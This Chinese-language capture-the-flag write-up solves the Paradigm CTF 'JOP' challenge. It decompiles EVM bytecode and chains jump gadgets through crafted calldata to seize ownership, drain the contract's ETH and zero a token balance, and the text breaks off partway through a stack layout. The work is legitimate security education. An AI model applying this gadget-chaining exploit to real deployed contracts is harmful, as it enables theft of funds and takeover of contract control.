Paradigm CTF – JOP

本题的核心思想跟之前做过的一道题目:Consensys CTF-02 栈溢出重定向利用的核心思想一致,即找到合约中的一个入口函数,通过该函数可以手动的构造一个栈。在手动构造的栈中,按照函数调用的顺序,将所需要的参数依次放入手动构造的栈里,然后依次调用所需的函数。最后找到一个出口,一般是一个jump Destination,结束调用。

# Paradigm CTF - JOP 本题的核心思想跟之前做过的一道题目:[Consensys CTF-02 栈溢出重定向利用](https://learnblockchain.cn/article/2634)的核心思想一致,即找到合约中的一个入口函数,通过该函数可以手动的构造一个栈。在手动构造的栈中,按照函数调用的顺序,将所需要的参数依次放入手动构造的栈里,然后依次调用所需的函数。最后找到一个出口,一般是一个jump Destination,结束调用。 本文参考链接如下:https://www.youtube.com/embed/OYs-2Vqvdow ![image20210815234705289.png](https://img.learnblockchain.cn/attachments/2021/08/OumR0JiK61193753722db.png) ## 合约分析 首先分析下Setup合约中,要解决本题的要求是什么: ```js function isSolved() public view returns (bool) { return challenge.owner() == 0xdeaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD && challenge.balanceOf(address(this)) == 0 && address(challenge).balance == 0; } ``` 简单来看,需要让合约同时满足三个条件:1. 改变合约的owner为给定值,2. 清空合约的所有ETH,3. 清空合约中关于setup的状态。 由于challenge合约是不开源的,只提供了二进制代码,故为方便调试,我们首先需要部署一个challenge合约: ```js pragma solidity ^0.7.0; import "./Setup.sol"; contract Hack { ChallengeInterface public challenge; constructor() public payable { require(msg.value == 50 ether); address addr; bytes memory data = hex'0x6080...6170'; assembly{ addr := create(0,add(data,0x20),mload(data)) } require(addr != address(0), "Hack/constructor failed to create contract"); challenge = ChallengeInterface(addr); challenge.buyTokens{value: msg.value}(); } } ``` ## 步骤一:找到入口函数 将编译后的二进制代码通过网站[Online Solidity Decompiler (ethervm.io)](https://ethervm.io/decompile#1d0f)反编译得到OPCODE代码,浏览反编译得到的代码: 在`buyTokens`方法中,有一个非常有趣的注解:==Error: Could not resolve jump destination!== 这通常是由于Jump的地址不是预先写好在代码中,而是动态计算得到的。 ```js else if (var0 == 0xd0febe4c) { // Dispatch table entry for buyTokens() var1 = 0x0774; var2 = 0x0ed0; if (msg.sender == storage[0x05] / 0x0100 ** 0x01 & 0xffffffffffffffffffffffffffffffffffffffff) { label_1CB2: if (tx.gasprice < 0x2e90edd000) { var3 = 0x1d39; var4 = msg.value; // Error: Could not resolve jump destination! } => function buyTokens() public payable{ address owner; assembly{ owner := sload(0x05) } require(owner == msg.sender); uint gasPrice_; assembly{ gasPrice_ := gasprice() } if (gasPrice_ < 0x2e90edd000) { bytes4 nextFunc; assembly{ nextFunc := and(0xffffffff,and(0xffffffffffffffff,sload(0x0b))) //跳转时,nextFunc函数的参数为msg.value, 返回位点为0x1d39 jump(nextFunc) } } } ``` 下面我们再进一步跳转到label_1CB2函数中,看下它具体的执行逻辑:可以看到label_1D0F的跳转地址是存储在0x0b的storage中。如果我们能够向0x0b的插槽写值,则我们可以控制它跳转到任何我们想要去的地方。 ```assembly label_1CB2: 1CB2 5B JUMPDEST 1CB3 64 PUSH5 0x2e90edd000 1CB9 3A GASPRICE 1CBA 10 LT 1CBB 61 PUSH2 0x1d0f 1CBE 57 *JUMPI label_1D0F: // Incoming jump from 0x1CBE, if tx.gasprice < 0x2e90edd000 // Inputs[2] // { // @1D13 msg.value // @1D19 storage[0x0b] // } 1D0F 5B JUMPDEST 1D10 61 PUSH2 0x1d39 0x1d39 1D13 34 CALLVALUE 0x1d39 value 1D14 60 PUSH1 0x0b 0x1d39 value 0x0b 1D16 60 PUSH1 0x00 0x1d39 value 0x0b 0x00 1D18 90 SWAP1 0x1d39 value 0x00 0x0b 1D19 54 SLOAD 0x1d39 value 0x00 s[0x0b] 1D1A 90 SWAP1 0x1d39 value s[0x0b] 0x00 1D1B 61 PUSH2 0x0100 0x1d39 value s[0x0b] 0x00 0x0100 1D1E 0A EXP 0x1d39 value s[0x0b] 1 1D1F 90 SWAP1 0x1d39 value 1 s[0x0b] 1D20 04 DIV 0x1d39 value s[0x0b] 1D21 80 DUP1 0x1d39 value s[0x0b] s[0x0b] 1D22 15 ISZERO 0x1d39 value s[0x0b] 0 1D23 61 PUSH2 0x1f51 0x1d39 value s[0x0b] 0 0x1f51 1D26 02 MUL 0x1d39 value s[0x0b] 0 1D27 17 OR 0x1d39 value s[0x0b] 1D28 67 PUSH8 0xffffffffffffffff 0x1d39 value s[0x0b] 0xff.. 1D31 16 AND 0x1d39 value s[0x0b][:8] 1D32 63 PUSH4 0xffffffff value s[0x0b] 0x1d39 value s[0x0b] 0xff.. 1D37 16 AND 0x1d39 value s[0x0b][:4] 1D38 56 *JUMP 0x1d39 value function 1D0F() internal payable { bytes4 nextFunc; assembly{ nextFunc := and(0xffffffff,and(0xffffffffffffffff,sload(0x0b))) //跳转时,nextFunc函数的参数为msg.value, 返回位点为0x1d39 jump(nextFunc) } } ``` 接下来,我们需要找到能够写入`storage[0x0b]`的方法,我们发现方法`func_0350`可以写入`storage[0x0b]`,但它是一个internal方法,无法被我们调用。于是我们再找到对应的external方法:`0x27f83350` ```js function func_0350(var arg0, var arg1) { arg0 = msg.data[arg0:arg0 + 0x20]; storage[0x0b] = arg0; } => function func_0350(uint arg) internal{ uint256 v = arg; assembly{ sstore(0x0b, v) } } ``` 这样我们就找到了函数`0x27f83350`, 从函数中可以看到,`0x27f83350`是一个non-payable函数,接受ETH, 以及一个长度为0x20的参数,并将该参数写入storage[0x0b]中。 ```js function 0x27f83350 public{ var1 = msg.value; if (var1) { revert(memory[0x00:0x00]); } var1 = 0x0366; var2 = 0x04; var3 = msg.data.length - var2; if (var3 < 0x20) { revert(memory[0x00:0x00]); } func_0350(var2, var3); stop(); } => function 0x27f83350(uint arg) public nonPayable{ require(msg.value == 0); uint256 v = arg; assembly{ sstore(0x0b, v) } } ``` 此时,我们可以通过`0x27f83350`函数设置0x0b插槽中的值,然后通过调用`buyTokens`函数进入,根据插槽0x0b的值从而跳转到任何我们想要跳转的位置 ## 步骤二:构造堆栈 此时,关键是分析我们需要跳转到哪个位置来构造所需要的堆栈。 首先我们需要继续分析下1D0F()的跳转,从上面的分析可以看到,它跳转时会带一个参数msg.value过去到nextFunc中,然后nextFunc会跳转回0x1d39。此时需要关注一点,nextFunc的返回值在栈里如何排序?nextFunc的返回值必定在0x1d39下方,因为这样才可以Jump到0x1d39实现函数返回。 ```js LABEL 1D39: 1D39 5B JUMPDEST 1D3A 56 *JUMP ``` 简单来讲,当函数跳转到1D39后,又会马上按照此时的栈首位进行跳转。故nextFunc函数必须要有返回值,且函数参数只能有一个,即msg.value. 此时我们查看反编译的代码发现, 如下6个函数都满足。但此时我们需要进一步思考,nextFunc的返回值肯定是越多越好,故我们首先查看`func_19FC` ```assembly saleHardcap(arg0) returns (r0) sellRate(arg0) returns (r0) nextOwner(arg0) returns (r0) owner(arg0) returns (r0) saleCount(arg0) returns (r0) func_19FC(arg0) returns (r0, r1, r2, r3) ``` ```js function func_19FC(var arg0) returns (var r0, var arg0, var r2, var r3) { r2 = 0x00; r3 = r2; var var2 = 0x00; var var3 = var2; var temp0 = arg0; var var4 = msg.data[temp0:temp0 + 0x20]; var var5 = msg.data[temp0 + 0x20:temp0 + 0x20 + 0x20]; var var6 = msg.data[temp0 + 0x40:temp0 + 0x40 + 0x20]; var var7 = msg.data[temp0 + 0x60:temp0 + 0x60 + 0x20]; if (var5 <= 0x00 << 0x00) { var temp11 = memory[0x40:0x60]; memory[temp11:temp11 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000; var temp12 = temp11 + 0x04; var temp13 = temp12 + 0x20; memory[temp12:temp12 + 0x20] = temp13 - temp12; memory[temp13:temp13 + 0x20] = 0x12; var temp14 = temp13 + 0x20; memory[temp14:temp14 + 0x20] = 0x736967436865636b2f722d69732d7a65726f0000000000000000000000000000; var temp15 = memory[0x40:0x60]; revert(memory[temp15:temp15 + (temp14 + 0x20) - temp15]); } else if (var6 <= 0x00 << 0x00) { var temp6 = memory[0x40:0x60]; memory[temp6:temp6 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000; var temp7 = temp6 + 0x04; var temp8 = temp7 + 0x20; memory[temp7:temp7 + 0x20] = temp8 - temp7; memory[temp8:temp8 + 0x20] = 0x12; var temp9 = temp8 + 0x20; memory[temp9:temp9 + 0x20] = 0x736967436865636b2f732d69732d7a65726f0000000000000000000000000000; var temp10 = memory[0x40:0x60]; revert(memory[temp10:temp10 + (temp9 + 0x20) - temp10]); } else if (var6 > 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 << 0x00) { var temp1 = memory[0x40:0x60]; memory[temp1:temp1 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000; var temp2 = temp1 + 0x04; var temp3 = temp2 + 0x20; memory[temp2:temp2 + 0x20] = temp3 - temp2; memory[temp3:temp3 + 0x20] = 0x12; var temp4 = temp3 + 0x20; memory[temp4:temp4 + 0x20] = 0x736967436865636b2f6d616c6c6561626c650000000000000000000000000000; var temp5 = memory[0x40:0x60]; revert(memory[temp5:temp5 + (temp4 + 0x20) - temp5]); } else if (var7 >= 0x1b) { r3 = var7; arg0 = var5; r2 = var6; r0 = var4; return r0, arg0, r2, r3; } else { r3 = var7 + 0x1b; arg0 = var5; r2 = var6; r0 = var4; return r0, arg0, r2, r3; } } => function func_19fc(uint arg) internal returns(uint,uint,uint,uint) { uint offset = arg; uint var4; uint var5; uint var6; uint var7; assembly{ var4 := calldataload(offset) var5 := calldataload(add(offset, 0x20)) var6 := calldataload(add(offset, 0x40)) var7 := calldataload(add(offset, 0x60)) } if (var5 <= 0x00) { assembly{ let temp11 := mload(0x40) mstore(temp11, 0x08c379a000000000000000000000000000000000000000000000000000000000) let temp12 := add(temp11, 0x04) mstore(temp12, 0x20) mstore(add(temp12,0x20),0x12) mstore(add(temp12,0x40), 0x736967436865636b2f722d69732d7a65726f0000000000000000000000000000) revert(temp11,0x64) //0x08c379a0 //0000000000000000000000000000000000000000000000000000000000100000 //0000000000000000000000000000000000000000000000000000000000010010 //736967436865636b2f722d69732d7a65726f0000000000000000000000000000 } } else if (var6 <= 0x00) { 与var5 <= 0一致 } else if(var6 > 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0){ 与var5 <= 0一致 } else if (var7 >= 0x1b) { return var4, offset, var6, var7; } else { return var4, var5, var6, var7+0x1b; } } ``` 从上面的func_19FC函数我们分析得知:它会消耗一个参数,将这个参数用作calldata的offset量,然后从calldadta中拷贝4个uint32的值到栈空间中。当func_19FC函数调用返回时,LABEL 1D39会继续Jump,此时Jump的地址即为返回的第一个值。 由于我们的目标是构造一个栈,故我们可以反复调用func_19FC,让其返回的第一个值就是func_19FC的方法位点,返回的第二个值是func_19FC的方法参数。这样==每调用一次func_19FC我们就向栈里写入了两个值==,==且该值均来自于calldata==。这正是我们想要的。 即此时的calldata应该为: ```assembly 0x00 d0febe4c //buyToken() 0x04 0000000000000000000000000000000000000000000000000000000000000004//offset 0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC 0x44 0000000000000000000000000000000000000000000000000000000000000084//var5 = next_offset 0x64 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff//var6 = payload1 0x84 000000000000000000000000000000000000000000000000000000000000001a//var7 = payload2 ``` ## 步骤三:堆栈设计 从上面的分析中,我们已经有能力去构造一个堆栈,但是堆栈中的内容应该如何去设计呢? ![image20210815182047087.png](https://img.learnblockchain.cn/attachments/2021/08/IM2fPVUu61193823442e8.png) ![image20210815093551094.png](https://img.learnblockchain.cn/attachments/2021/08/tVabHVrm6119383b501c1.png) 还是从Setup中的解题条件开始: ### 条件1:改变合约的owner为给定值 首先是查看:`nextOwner()函数`发现该函数实际返回的是`Storage[0x06]`的值,故需要去OPCODE中找到给`Storage[0x06]`写值的函数:`label_102A` ```assembly label_102A: 102A 5B JUMPDEST jumpback deadbeaf 102B 80 DUP1 jumpback deadbeaf deadbeaf 102C 60 PUSH1 0x06 jumpback deadbeaf deadbeaf 0x06 102E 60 PUSH1 0x00 jumpback deadbeaf deadbeaf 0x06 0x00 1030 61 PUSH2 0x0100 jumpback deadbeaf deadbeaf 0x06 0x00 0x0100 1033 0A EXP jumpback deadbeaf deadbeaf 0x06 0x01 1034 81 DUP2 jumpback deadbeaf deadbeaf 0x06 0x01 0x06 1035 54 SLOAD jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 1036 81 DUP2 jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x01 1037 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x01 0xff 104C 02 MUL jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0xff 104D 19 NOT jumpback deadbeaf deadbeaf 0x06 0x01 s[06] 0x11..00 104E 16 AND jumpback deadbeaf deadbeaf 0x06 0x01 0 104F 90 SWAP1 jumpback deadbeaf deadbeaf 0x06 0 0x01 1050 83 DUP4 jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf 1051 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf 0xff 1066 16 AND jumpback deadbeaf deadbeaf 0x06 0 0x01 deadbeaf 1067 02 MUL jumpback deadbeaf deadbeaf 0x06 0 deadbeaf 1068 17 OR jumpback deadbeaf deadbeaf 0x06 deadbeaf 1069 90 SWAP1 jumpback deadbeaf deadbeaf deadbeaf 0x06 106A 55 SSTORE jumpback deadbeaf deadbeaf 106B 50 POP jumpback deadbeaf 106C 50 POP jumpback 106D 56 *JUMP => function label_102A(address deadbeaf, uint jumpback) internal { address deadbeaf_ = deadbeaf; uint jumpback_ = jumpback; assembly{ let newOwner := and(0xffffffffffffffffffffffffffffffffffffffff, deadbeaf_) sstore(0x06, deadbeaf) jump(jumpback) } } ``` 故此时的calldata应该为: ```assembly 0x00 d0febe4c //buyToken() 0x04 0000000000000000000000000000000000000000000000000000000000000004//offset 0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC 0x44 00000000000000000000000000000000000000000000000000000000000000a4//var5 = next_offset 0x64 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf 0x84 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback ``` 这里我们需要找到对应的`jumpback`的值, 这里的值应该是191B ### 条件2. 清空合约的所有ETH 要清空所有的ETH则必须要有CALL这一个OPCODE,通过查找全文中的call OPCODE,我们发现`label_191B`中存在这一个特征值。 ```assembly label_191B: 191B 5B JUMPDEST address balance 191C 60 PUSH1 0x00 address balance 0x00 191E 82 DUP3 address balance 0x00 address 191F 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff address balance 0x00 address 0xff 1934 16 AND address balance 0x00 address 1935 82 DUP3 address balance 0x00 address balance 1936 60 PUSH1 0x40 address balance 0x00 address balance 0x40 1938 51 MLOAD address balance 0x00 address balance M[40] 1939 80 DUP1 address balance 0x00 address balance M[40] M[40] 193A 60 PUSH1 0x00 address balance 0x00 address balance M[40] M[40] 0x00 193C 01 ADD address balance 0x00 address balance M[40] M[40] 193D 90 SWAP1 address balance 0x00 address balance M[40] M[40] 193E 50 POP address balance 0x00 address balance M[40] 193F 60 PUSH1 0x00 address balance 0x00 address balance M[40] 0x00 1941 60 PUSH1 0x40 address balance 0x00 address balance M[40] 0x00 0x40 1943 51 MLOAD address balance 0x00 address balance M[40] 0x00 M[40] 1944 80 DUP1 address balance 0x00 address balance M[40] 0x00 M[40] M[40] 1945 83 DUP4 address balance 0x00 address balance M[40] 0x00 M[40] M[40] M[40] 1946 03 SUB address balance 0x00 address balance M[40] 0x00 M[40] 0 1947 81 DUP2 address balance 0x00 address balance M[40] 0x00 M[40] 0 M[40] 1948 85 DUP6 address balance 0x00 address balance M[40] 0x00 M[40] 0 M[40] balance 1949 87 DUP8 address balance 0x00 address balance M[40] 0x00 M[40] 0 M[40] balance address 194A 5A GAS address balance 0x00 address balance M[40] 0x00 M[40] 0 M[40] balance address gas 194B F1 CALL address balance 0x00 address balance M[40] 0x01 194C 92 SWAP3 address balance 0x00 0x01 balance M[40] address 194D 50 POP address balance 0x00 0x01 balance M[40] 194E 50 POP address balance 0x00 0x01 balance 194F 50 POP address balance 0x00 0x01 1950 3D RETURNDATASIZE address balance 0x00 0x01 rsize 1951 80 DUP1 address balance 0x00 0x01 rsize rsize 1952 60 PUSH1 0x00 address balance 0x00 0x01 rsize rsize 0x00 1954 81 DUP2 address balance 0x00 0x01 rsize rsize 0x00 rsize 1955 14 EQ address balance 0x00 0x01 rsize rsize 0x01 1956 61 PUSH2 0x197b address balance 0x00 0x01 rsize rsize 0x01 0x197b 1959 57 *JUMPI address balance 0x00 0x01 rsize rsize => function label_191B(address _addr, uint balance) internal { (bool success, ) = address(this).call{value:balance,to:_addr}(""); uint returndatasize_; assembly{ returndatasize_ := returndatasize() if eq(returndatasize_,0x00) { jump(0x197b) } } } ``` 从上述分析可以知道,当跳转到`label_191B`时,实际上调用了`address(this).call{value:ether,to:addr}("")`方法,即将该合约地址上的所有ETH全部转移给了某一个addr地址。 此时的内存应为: ```assembly 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback 000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance 0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意 ``` 则此时的calldata应该为: ```assembly 0x00 d0febe4c //buyToken() 0x04 0000000000000000000000000000000000000000000000000000000000000004//offset 0x24 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC 0x44 00000000000000000000000000000000000000000000000000000000000000a4//var5 = next_offset 0x64 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf 0x84 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback 0xa4 00000000000000000000000000000000000000000000000000000000000019FC//var4 = label_19FC 0xc4 0000000000000000000000000000000000000000000000000000000000000124//var5 = next_offset 0xe4 000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance = 50ether+4wei 0x104 0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意 ``` 注意到这里跳转到了一个固定的位点`0x197b`,我们需要进入该位点查看下: ```assembly label_197B: 197B 5B JUMPDEST back7 back6 back5 back4 back3 back2 back1 197C 60 PUSH1 0x60 back7 back6 back5 back4 back3 back2 back1 0x60 197E 91 SWAP2 back7 back6 back5 back4 back3 0x60 back1 back2 197F 50 POP back7 back6 back5 back4 back3 0x60 back1 1980 5B JUMPDEST 1981 50 POP back7 back6 back5 back4 back3 0x60 1982 50 POP back7 back6 back5 back4 back3 1983 90 SWAP1 back7 back6 back5 back3 back4 1984 50 POP back7 back6 back5 back3 1985 80 DUP1 back7 back6 back5 back3 back3 1986 61 PUSH2 0x19f7 back7 back6 back5 back3 back3 0x19f7 1989 57 *JUMPI label_19F7: 19F7 5B JUMPDEST back7 back6 back5 back3 19F8 50 POP back7 back6 back5 19F9 50 POP back7 back6 19FA 50 POP back7 19FB 56 *JUMP ``` 在这个位点中,pop了多个内存中的字段,所以我们需要按照要求将内存设计成满足它pop的结构,则此时的内存为: ```assembly 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback 000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance 0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意 0000000000000000000000000000000000000000000000000000000000000000//var6 = back1 0000000000000000000000000000000000000000000000000000000000000000//var7 = back2 0000000000000000000000000000000000000000000000000000000000000001//var6 = back3 0000000000000000000000000000000000000000000000000000000000000000//var7 = back4 0000000000000000000000000000000000000000000000000000000000000000//var6 = back5 0000000000000000000000000000000000000000000000000000000000000000//var7 = back6 0000000000000000000000000000000000000000000000000000000000001263//var6 = back7:下一个位点 0000000000000000000000000000000000000000000000000000000000000000//var7 = UNKNOW ``` ### 条件3. 清空合约中关于setup的状态 因为是balance[address(setup)]的状态要清空,所以需要考虑到solidity中对于map的存储。简单来讲,合约中存储map会首先将该key的值与map对应的插槽点的值进行连接,成为一个64byte的值,然后调用keccak256取得哈希值,该哈希值即为该map中值所对应的插槽。故,需要清空`balance[address(setup)]`我们只需要在整个OPCODE中搜索SHA3即可。注意不要写道`allowance[owner][spender]`里面去了。 ```assembly label_1563: 1563 5B JUMPDEST jumpBack x key y value 1564 60 PUSH1 0x00 jumpBack x key y value 0x00 1566 80 DUP1 jumpBack x key y value 0x00 0x00 1567 84 DUP5 jumpBack x key y value 0x00 0x00 key 1568 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpBack x key y value 0x00 0x00 key 0xff 157D 16 AND jumpBack x key y value 0x00 0x00 key 157E 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpBack x key y value 0x00 0x00 key 0xff 1593 16 AND jumpBack x key y value 0x00 0x00 key 1594 81 DUP2 jumpBack x key y value 0x00 0x00 key 0x00 1595 52 MSTORE jumpBack x key y value 0x00 0x00 1596 60 PUSH1 0x20 jumpBack x key y value 0x00 0x00 0x20 1598 01 ADD jumpBack x key y value 0x00 0x20 1599 90 SWAP1 jumpBack x key y value 0x20 0x00 159A 81 DUP2 jumpBack x key y value 0x20 0x00 0x20 159B 52 MSTORE jumpBack x key y value 0x20 159C 60 PUSH1 0x20 jumpBack x key y value 0x20 0x20 159E 01 ADD jumpBack x key y value 0x40 159F 60 PUSH1 0x00 jumpBack x key y value 0x40 0x00 15A1 20 SHA3 jumpBack x key y value hash 15A2 81 DUP2 jumpBack x key y value hash value 15A3 90 SWAP1 jumpBack x key y value value hash 15A4 55 SSTORE jumpBack x key y value 15A5 50 POP jumpBack x key y 15A6 81 DUP2 jumpBack x key y key 15A7 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpBack x key y key 0xff 15BC 16 AND jumpBack x key y key 15BD 83 DUP4 jumpBack x key y key x 15BE 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpBack x key y key x 0xff 15D3 16 AND jumpBack x key y key x 15D4 7F PUSH32 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef jumpBack x key y key x 0xddf 15F5 83 DUP4 jumpBack x key y key x 0xddf y 15F6 60 PUSH1 0x40 jumpBack x key y key x 0xddf y 0x40 15F8 51 MLOAD jumpBack x key y key x 0xddf y M[40] 15F9 80 DUP1 jumpBack x key y key x 0xddf y M[40] M[40] 15FA 82 DUP3 jumpBack x key y key x 0xddf y M[40] M[40] y 15FB 81 DUP2 jumpBack x key y key x 0xddf y M[40] M[40] y M[40] 15FC 52 MSTORE jumpBack x key y key x 0xddf y M[40] M[40] 15FD 60 PUSH1 0x20 jumpBack x key y key x 0xddf y M[40] M[40] 0x20 15FF 01 ADD jumpBack x key y key x 0xddf y M[40] M[40]+0x20 1600 91 SWAP2 jumpBack x key y key x 0xddf M[40]+0x20 M[40] y 1601 50 POP jumpBack x key y key x 0xddf M[40]+0x20 M[40] 1602 50 POP jumpBack x key y key x 0xddf M[40]+0x20 1603 60 PUSH1 0x40 jumpBack x key y key x 0xddf M[40]+0x20 0x40 1605 51 MLOAD jumpBack x key y key x 0xddf M[40]+0x20 M[40] 1606 80 DUP1 jumpBack x key y key x 0xddf M[40]+0x20 M[40] M[40] 1607 91 SWAP2 jumpBack x key y key x 0xddf M[40] M[40] M[40]+0x20 1608 03 SUB jumpBack x key y key x 0xddf M[40] 0x20 1609 90 SWAP1 jumpBack x key y key x 0xddf 0x20 M[40] 160A A3 LOG3 jumpBack x key y 160B 50 POP jumpBack x key 160C 50 POP jumpBack x 160D 50 POP jumpBack 160E 56 *JUMP => function label_1563(uint value,uint y, addr key, addr x, uint jumpBack) internal { balance[key] = value; uint k; assembly{ mstore(mload(0x40),y) k := mload(0x40) } emit label_1563_event(k,0x20,0xddf,x,key) assembly{ jump(jumpBack) } } ``` 从上面的分析中,我们可以知道我们需要的栈应该是: ```assembly 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback 000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance 0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意 0000000000000000000000000000000000000000000000000000000000000000//var6 = back1 0000000000000000000000000000000000000000000000000000000000000000//var7 = back2 0000000000000000000000000000000000000000000000000000000000000001//var6 = back3 0000000000000000000000000000000000000000000000000000000000000000//var7 = back4 0000000000000000000000000000000000000000000000000000000000000000//var6 = back5 0000000000000000000000000000000000000000000000000000000000000000//var7 = back6 0000000000000000000000000000000000000000000000000000000000001563//var6 = back7:下一个位点 0000000000000000000000000000000000000000000000000000000000000000//var7 = value = 0 0000000000000000000000000000000000000000000000000000000000000000//var6 = y = 0 000000000000000000000000DA0bab807633f07f013f94DD0E6A4F96F8742B53//var7 = akey=address(setup) 0000000000000000000000000000000000000000000000000000000000000000//var6 = x = 0 0000000000000000000000000000000000000000000000000000000000000000//var7 = jumpBack ``` 现在我们已经完成了条件2,3,针对条件1,我们在之前的分析中只是将0xdeadbeaf存入了slot[0x06]中,但是owner对应的插槽是slot[0x05]。这里我们找到0C4A ```assembly label_0C4A: 0C4A 5B JUMPDEST jumpBack 0C4B 60 PUSH1 0x06 jumpBack 0x06 0C4D 60 PUSH1 0x00 jumpBack 0x06 0x00 0C4F 90 SWAP1 jumpBack 0x00 0x06 0C50 54 SLOAD jumpBack 0x00 s[06] 0C51 90 SWAP1 jumpBack s[06] 0x00 0C52 61 PUSH2 0x0100 jumpBack s[06] 0x00 0x0100 0C55 0A EXP jumpBack s[06] 1 0C56 90 SWAP1 jumpBack 1 s[06] 0C57 04 DIV jumpBack s[06] 0C58 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpBack s[06] 0xff.. 0C6D 16 AND jumpBack s[06] 0C6E 60 PUSH1 0x05 jumpBack s[06] 0x05 0C70 60 PUSH1 0x01 jumpBack s[06] 0x05 0x01 0C72 61 PUSH2 0x0100 jumpBack s[06] 0x05 0x01 0x0100 0C75 0A EXP jumpBack s[06] 0x05 0x0100 0C76 81 DUP2 jumpBack s[06] 0x05 0x0100 0x05 0C77 54 SLOAD jumpBack s[06] 0x05 0x0100 s[05] 0C78 81 DUP2 jumpBack s[06] 0x05 0x0100 s[05] 0x0100 0C79 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpBack s[06] 0x05 0x0100 s[05] 0x0100 0xff.. 0C8E 02 MUL jumpBack s[06] 0x05 0x0100 s[05] 0xff..00 0C8F 19 NOT jumpBack s[06] 0x05 0x0100 s[05] 0x1111..ff 0C90 16 AND jumpBack s[06] 0x05 0x0100 s[05][:2] 0C91 90 SWAP1 jumpBack s[06] 0x05 s[05][:2] 0x0100 0C92 83 DUP4 jumpBack s[06] 0x05 s[05][:2] 0x0100 s[06] 0C93 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpBack s[06] 0x05 s[05][:2] 0x0100 s[06] 0xff 0CA8 16 AND jumpBack s[06] 0x05 s[05][:2] 0x0100 s[06] 0CA9 02 MUL jumpBack s[06] 0x05 s[05][:2] s[06]00 0CAA 17 OR jumpBack s[06] 0x05 s[06]xx 0CAB 90 SWAP1 jumpBack s[06] s[06]xx 0x05 0CAC 55 SSTORE jumpBack s[06] 0CAD 50 POP jumpBack 0CAE 60 PUSH1 0x00 jumpBack 0x00 0CB0 60 PUSH1 0x06 jumpBack 0x00 0x06 0CB2 60 PUSH1 0x00 jumpBack 0x00 0x06 0x00 0CB4 61 PUSH2 0x0100 jumpBack 0x00 0x06 0x00 0x0100 0CB7 0A EXP jumpBack 0x00 0x06 0x01 0CB8 81 DUP2 jumpBack 0x00 0x06 0x01 0x06 0CB9 54 SLOAD jumpBack 0x00 0x06 0x01 s[06] 0CBA 81 DUP2 jumpBack 0x00 0x06 0x01 s[06] 0x06 0CBB 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff jumpBack 0x00 0x06 0x01 s[06] 0x06 0xff 0CD0 02 MUL jumpBack 0x00 0x06 0x01 s[06] 0x06.. 0CD1 19 NOT jumpBack 0x00 0x06 0x01 s[06] 0xff06.. 0CD2 16 AND 0CD3 90 SWAP1 0CD4 83 DUP4 0CD5 73 PUSH20 0xffffffffffffffffffffffffffffffffffffffff 0CEA 16 AND 0CEB 02 MUL 0CEC 17 OR 0CED 90 SWAP1 0CEE 55 SSTORE 0CEF 50 POP 0CF0 56 *JUMP => function label_0C4A(uint jumpBack) internal { owner = newOwenr; assembly{ jump(jumpBack) } } ``` 我们可以知道我们需要的栈应该是: ```assembly 000000000000000000000000deaDDeADDEaDdeaDdEAddEADDEAdDeadDEADDEaD//var6 = deadbeaf 000000000000000000000000000000000000000000000000000000000000191B//var7 = jumpback 000000000000000000000000000000000000000000000002b5e3af16b1880004//var6 = balance 0000000000000000000000000000000000000000000000000000000000000000//var7 = addr任意 0000000000000000000000000000000000000000000000000000000000000000//var6 = back1 0000000000000000000000000000000000000000000000000000000000000000//var7 = back2 0000000000000000000000000000000000000000000000000000000000000001//var6 = back3 0000000000000000000000000000000000000000000000000000000000000000//var7 = back4 0000000000000000000000000000000000000000000000000000000000000000//var6 = back5 0000000000000000000000000000000000000000000000000000000000000000//var7 = back6 0000000000000000000000000000000000000000000000000000000000001563//var6 = back7:下一个位点 0000000000000000000000000000000000000000000000000000000000000000//var7 = value = 